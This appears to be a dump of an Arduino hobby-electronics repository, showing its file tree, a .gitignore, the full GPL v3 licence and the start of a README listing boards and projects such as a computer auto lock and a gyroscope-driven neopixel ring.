├── .gitignore
├── LICENSE
├── README.md
├── boards
    ├── README.md
    ├── arduino-nano-33-ble-sense.png
    ├── arduinopromini.png
    ├── esp32-camera.jpg
    └── nodemcu
    │   ├── nodemcu.jpg
    │   ├── step1.png
    │   ├── step2.png
    │   ├── step3.png
    │   └── step4.png
├── libraries
    ├── EncryptedSoftwareSerial
    │   ├── EncryptedSoftwareSerial.cpp
    │   └── EncryptedSoftwareSerial.h
    ├── README.md
    └── TextMotorCommandsInterpretter
    │   ├── TextMotorCommandsInterpretter.cpp
    │   └── TextMotorCommandsInterpretter.h
└── projects
    ├── HASSGeigerIntegration
        ├── HASSGeigerIntegration.ino
        ├── diagram.drawio
        ├── diagram.jpg
        ├── hass_scrn0.png
        ├── hass_scrn1.png
        └── parts_breadboard.jpg
    ├── Hexapod
        └── Hexapod.ino
    ├── camera_web_upload
        ├── app_httpd.cpp
        ├── camera_index.h
        ├── camera_pins.h
        ├── camera_web_upload.ino
        └── test.py
    ├── computer_auto_lock
        ├── computer_auto_lock.ino
        ├── sketch.fzz
        └── sketch_bb.jpg
    ├── gesture_capture
        └── gesture_capture.ino
    ├── gesture_classifier
        ├── arduino_tinyml.ipynb
        ├── digits_model.h
        ├── gesture_classifier.ino
        └── remote1_model.h
    ├── giroscope_led_controll
        └── giroscope_led_controll.ino
    ├── keyboard_exploit
        ├── hack.py
        ├── hack.txt
        ├── keyboard_exploit.ino
        ├── sketch.fzz
        └── sketch_bb.png
    ├── line_follower
        ├── line_follower.ino
        ├── sketch.fzz
        └── sketch_bb.jpg
    ├── multisensor_display
        ├── .project
        └── multisensor_display.ino
    ├── neopixel_ring_gestures
        ├── neopixel_ring_gestures.ino
        ├── sketch.fzz
        └── sketch_bb.png
    ├── neopixel_ring_gyroscope
        ├── neopixel_ring_gyroscope.ino
        ├── sketch.fzz
        └── sketch_bb.png
    └── zen_wheels_remote
        ├── sketch.fzz
        ├── sketch_bb.jpg
        └── zen_wheels_remote.ino
/.gitignore:
--------------------------------------------------------------------------------
 1 | \.idea
 2 | *.pyc
 3 | # Object files
 4 | *.o
 5 | *.ko
 6 | *.obj
 7 | *.elf
 8 | 
 9 | # Precompiled Headers
10 | *.gch
11 | *.pch
12 | 
13 | # Libraries
14 | *.lib
15 | *.a
16 | *.la
17 | *.lo
18 | 
19 | # Shared objects (inc. Windows DLLs)
20 | *.dll
21 | *.so
22 | *.so.*
23 | *.dylib
24 | 
25 | # Executables
26 | *.exe
27 | *.out
28 | *.app
29 | *.i*86
30 | *.x86_64
31 | *.hex
32 | 
33 | # Debug files
34 | *.dSYM/
35 | *.su
36 | 
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
  4 |  Copyright (C) 2007 Free Software Foundation, Inc. 
  5 |  Everyone is permitted to copy and distribute verbatim copies
  6 |  of this license document, but changing it is not allowed.
  7 | 
  8 |                             Preamble
  9 | 
 10 |   The GNU General Public License is a free, copyleft license for
 11 | software and other kinds of works.
 12 | 
 13 |   The licenses for most software and other practical works are designed
 14 | to take away your freedom to share and change the works.  By contrast,
 15 | the GNU General Public License is intended to guarantee your freedom to
 16 | share and change all versions of a program--to make sure it remains free
 17 | software for all its users.  We, the Free Software Foundation, use the
 18 | GNU General Public License for most of our software; it applies also to
 19 | any other work released this way by its authors.  You can apply it to
 20 | your programs, too.
 21 | 
 22 |   When we speak of free software, we are referring to freedom, not
 23 | price.  Our General Public Licenses are designed to make sure that you
 24 | have the freedom to distribute copies of free software (and charge for
 25 | them if you wish), that you receive source code or can get it if you
 26 | want it, that you can change the software or use pieces of it in new
 27 | free programs, and that you know you can do these things.
 28 | 
 29 |   To protect your rights, we need to prevent others from denying you
 30 | these rights or asking you to surrender the rights.  Therefore, you have
 31 | certain responsibilities if you distribute copies of the software, or if
 32 | you modify it: responsibilities to respect the freedom of others.
 33 | 
 34 |   For example, if you distribute copies of such a program, whether
 35 | gratis or for a fee, you must pass on to the recipients the same
 36 | freedoms that you received.  You must make sure that they, too, receive
 37 | or can get the source code.  And you must show them these terms so they
 38 | know their rights.
 39 | 
 40 |   Developers that use the GNU GPL protect your rights with two steps:
 41 | (1) assert copyright on the software, and (2) offer you this License
 42 | giving you legal permission to copy, distribute and/or modify it.
 43 | 
 44 |   For the developers' and authors' protection, the GPL clearly explains
 45 | that there is no warranty for this free software.  For both users' and
 46 | authors' sake, the GPL requires that modified versions be marked as
 47 | changed, so that their problems will not be attributed erroneously to
 48 | authors of previous versions.
 49 | 
 50 |   Some devices are designed to deny users access to install or run
 51 | modified versions of the software inside them, although the manufacturer
 52 | can do so.  This is fundamentally incompatible with the aim of
 53 | protecting users' freedom to change the software.  The systematic
 54 | pattern of such abuse occurs in the area of products for individuals to
 55 | use, which is precisely where it is most unacceptable.  Therefore, we
 56 | have designed this version of the GPL to prohibit the practice for those
 57 | products.  If such problems arise substantially in other domains, we
 58 | stand ready to extend this provision to those domains in future versions
 59 | of the GPL, as needed to protect the freedom of users.
 60 | 
 61 |   Finally, every program is threatened constantly by software patents.
 62 | States should not allow patents to restrict development and use of
 63 | software on general-purpose computers, but in those that do, we wish to
 64 | avoid the special danger that patents applied to a free program could
 65 | make it effectively proprietary.  To prevent this, the GPL assures that
 66 | patents cannot be used to render the program non-free.
 67 | 
 68 |   The precise terms and conditions for copying, distribution and
 69 | modification follow.
 70 | 
 71 |                        TERMS AND CONDITIONS
 72 | 
 73 |   0. Definitions.
 74 | 
 75 |   "This License" refers to version 3 of the GNU General Public License.
 76 | 
 77 |   "Copyright" also means copyright-like laws that apply to other kinds of
 78 | works, such as semiconductor masks.
 79 | 
 80 |   "The Program" refers to any copyrightable work licensed under this
 81 | License.  Each licensee is addressed as "you".  "Licensees" and
 82 | "recipients" may be individuals or organizations.
 83 | 
 84 |   To "modify" a work means to copy from or adapt all or part of the work
 85 | in a fashion requiring copyright permission, other than the making of an
 86 | exact copy.  The resulting work is called a "modified version" of the
 87 | earlier work or a work "based on" the earlier work.
 88 | 
 89 |   A "covered work" means either the unmodified Program or a work based
 90 | on the Program.
 91 | 
 92 |   To "propagate" a work means to do anything with it that, without
 93 | permission, would make you directly or secondarily liable for
 94 | infringement under applicable copyright law, except executing it on a
 95 | computer or modifying a private copy.  Propagation includes copying,
 96 | distribution (with or without modification), making available to the
 97 | public, and in some countries other activities as well.
 98 | 
 99 |   To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies.  Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 | 
103 |   An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License.  If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 | 
112 |   1. Source Code.
113 | 
114 |   The "source code" for a work means the preferred form of the work
115 | for making modifications to it.  "Object code" means any non-source
116 | form of a work.
117 | 
118 |   A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 | 
123 |   The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form.  A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 | 
134 |   The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities.  However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work.  For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 | 
147 |   The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 | 
151 |   The Corresponding Source for a work in source code form is that
152 | same work.
153 | 
154 |   2. Basic Permissions.
155 | 
156 |   All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met.  This License explicitly affirms your unlimited
159 | permission to run the unmodified Program.  The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work.  This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 | 
164 |   You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force.  You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright.  Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 | 
175 |   Conveying under any other circumstances is permitted solely under
176 | the conditions stated below.  Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 | 
179 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 | 
181 |   No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 | 
187 |   When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 | 
195 |   4. Conveying Verbatim Copies.
196 | 
197 |   You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 | 
205 |   You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 | 
208 |   5. Conveying Modified Source Versions.
209 | 
210 |   You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 | 
214 |     a) The work must carry prominent notices stating that you modified
215 |     it, and giving a relevant date.
216 | 
217 |     b) The work must carry prominent notices stating that it is
218 |     released under this License and any conditions added under section
219 |     7.  This requirement modifies the requirement in section 4 to
220 |     "keep intact all notices".
221 | 
222 |     c) You must license the entire work, as a whole, under this
223 |     License to anyone who comes into possession of a copy.  This
224 |     License will therefore apply, along with any applicable section 7
225 |     additional terms, to the whole of the work, and all its parts,
226 |     regardless of how they are packaged.  This License gives no
227 |     permission to license the work in any other way, but it does not
228 |     invalidate such permission if you have separately received it.
229 | 
230 |     d) If the work has interactive user interfaces, each must display
231 |     Appropriate Legal Notices; however, if the Program has interactive
232 |     interfaces that do not display Appropriate Legal Notices, your
233 |     work need not make them do so.
234 | 
235 |   A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit.  Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 | 
245 |   6. Conveying Non-Source Forms.
246 | 
247 |   You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 | 
252 |     a) Convey the object code in, or embodied in, a physical product
253 |     (including a physical distribution medium), accompanied by the
254 |     Corresponding Source fixed on a durable physical medium
255 |     customarily used for software interchange.
256 | 
257 |     b) Convey the object code in, or embodied in, a physical product
258 |     (including a physical distribution medium), accompanied by a
259 |     written offer, valid for at least three years and valid for as
260 |     long as you offer spare parts or customer support for that product
261 |     model, to give anyone who possesses the object code either (1) a
262 |     copy of the Corresponding Source for all the software in the
263 |     product that is covered by this License, on a durable physical
264 |     medium customarily used for software interchange, for a price no
265 |     more than your reasonable cost of physically performing this
266 |     conveying of source, or (2) access to copy the
267 |     Corresponding Source from a network server at no charge.
268 | 
269 |     c) Convey individual copies of the object code with a copy of the
270 |     written offer to provide the Corresponding Source.  This
271 |     alternative is allowed only occasionally and noncommercially, and
272 |     only if you received the object code with such an offer, in accord
273 |     with subsection 6b.
274 | 
275 |     d) Convey the object code by offering access from a designated
276 |     place (gratis or for a charge), and offer equivalent access to the
277 |     Corresponding Source in the same way through the same place at no
278 |     further charge.  You need not require recipients to copy the
279 |     Corresponding Source along with the object code.  If the place to
280 |     copy the object code is a network server, the Corresponding Source
281 |     may be on a different server (operated by you or a third party)
282 |     that supports equivalent copying facilities, provided you maintain
283 |     clear directions next to the object code saying where to find the
284 |     Corresponding Source.  Regardless of what server hosts the
285 |     Corresponding Source, you remain obligated to ensure that it is
286 |     available for as long as needed to satisfy these requirements.
287 | 
288 |     e) Convey the object code using peer-to-peer transmission, provided
289 |     you inform other peers where the object code and Corresponding
290 |     Source of the work are being offered to the general public at no
291 |     charge under subsection 6d.
292 | 
293 |   A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 | 
297 |   A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling.  In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage.  For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product.  A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 | 
310 |   "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source.  The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 | 
318 |   If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information.  But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 | 
329 |   The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed.  Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 | 
337 |   Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 | 
343 |   7. Additional Terms.
344 | 
345 |   "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law.  If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 | 
354 |   When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it.  (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.)  You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 | 
361 |   Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 | 
365 |     a) Disclaiming warranty or limiting liability differently from the
366 |     terms of sections 15 and 16 of this License; or
367 | 
368 |     b) Requiring preservation of specified reasonable legal notices or
369 |     author attributions in that material or in the Appropriate Legal
370 |     Notices displayed by works containing it; or
371 | 
372 |     c) Prohibiting misrepresentation of the origin of that material, or
373 |     requiring that modified versions of such material be marked in
374 |     reasonable ways as different from the original version; or
375 | 
376 |     d) Limiting the use for publicity purposes of names of licensors or
377 |     authors of the material; or
378 | 
379 |     e) Declining to grant rights under trademark law for use of some
380 |     trade names, trademarks, or service marks; or
381 | 
382 |     f) Requiring indemnification of licensors and authors of that
383 |     material by anyone who conveys the material (or modified versions of
384 |     it) with contractual assumptions of liability to the recipient, for
385 |     any liability that these contractual assumptions directly impose on
386 |     those licensors and authors.
387 | 
388 |   All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10.  If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term.  If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 | 
398 |   If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 | 
403 |   Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 | 
407 |   8. Termination.
408 | 
409 |   You may not propagate or modify a covered work except as expressly
410 | provided under this License.  Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 | 
415 |   However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 | 
422 |   Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 | 
429 |   Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License.  If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 | 
435 |   9. Acceptance Not Required for Having Copies.
436 | 
437 |   You are not required to accept this License in order to receive or
438 | run a copy of the Program.  Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance.  However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work.  These actions infringe copyright if you do
443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     {one line to give the program's name and a brief idea of what it does.}
635 |     Copyright (C) {year}  {name of author}
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see .
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     {project}  Copyright (C) {year}  {fullname}
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | .
675 | 
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
  1 | # Prerequisites
  2 | 
  3 | Arduino IDE installed on your computer: Download link: https://www.arduino.cc/en/main/software
  4 | 
  5 | About boards and pinouts:
  6 | 
  7 | * [NodeMCU](https://github.com/danionescu0/arduino/blob/master/boards/README.md)
  8 | * [Arduino Pro Mini](https://github.com/danionescu0/arduino/blob/master/boards/README.md)
  9 | * [Esp32-camera](https://github.com/danionescu0/arduino/blob/master/boards/README.md)
 10 | * [Arduino Nano 33 BLE Sense](https://github.com/danionescu0/arduino/blob/master/boards/README.md)
 11 | 
 12 | # Projects
 13 | 
 14 | **1** [Computer auto lock system](#Computer-auto-lock) A computer lock mechanism that activates shortly after the user leaves the computer
 15 | 
 16 | **2** [Neopixel ring gyroscope](#Neopixel-ring-gyroscope) Tilting the breadboard with the neopixel ring and a MPU6050 gyroscope will make led light up in the tilt directionr
 17 | 
